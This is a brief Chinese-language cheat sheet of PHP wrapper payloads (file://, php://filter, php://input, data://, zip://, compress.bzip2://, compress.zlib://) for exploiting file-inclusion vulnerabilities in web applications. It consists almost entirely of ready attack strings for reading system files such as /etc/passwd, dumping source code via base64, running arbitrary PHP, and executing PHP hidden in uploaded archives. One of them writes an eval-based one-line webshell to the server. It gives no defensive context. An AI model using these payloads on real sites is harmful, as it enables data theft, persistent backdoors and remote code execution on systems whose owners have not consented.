PHP伪协议
1. file://路径\文件 文件读取
?file=file:///etc/passswd
路径可以是绝对路径、相对路径、网络路径
2. php://filter 文件读取
php://filter/read=convert.base64-encode/resource=index.php
通过编码后可以读取文件源码,而非php代码执行
php://filter/resource=index.php
3. php://input php代码执行
?file=php://input
post部分写入代码如:<?php XXX ?>
写入一句话木马:
?file=php://input
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST[h-t-m])?>');?>
4. data:// 代码执行
?file=data://text/plain,<?php XXX; ?>
?file=data://text/plain;base64,php代码base64编码后
5. zip:// 、bzip2:// 、zlib:// 压缩更改后缀名后上传,进而执行php
zip://压缩包绝对路径%23其中的路径及文件名
(#编码为%23)
?file=zip://C:\test.zip%23abc.php
执行test.zip的abc.php,.php可省略
compress.bzip2://file.bz2
?file=compress.bzip2://C:\test.bz2
可以是相对路径
compress.zlib://file.gz
?file=compress.zlib://C:\test.gz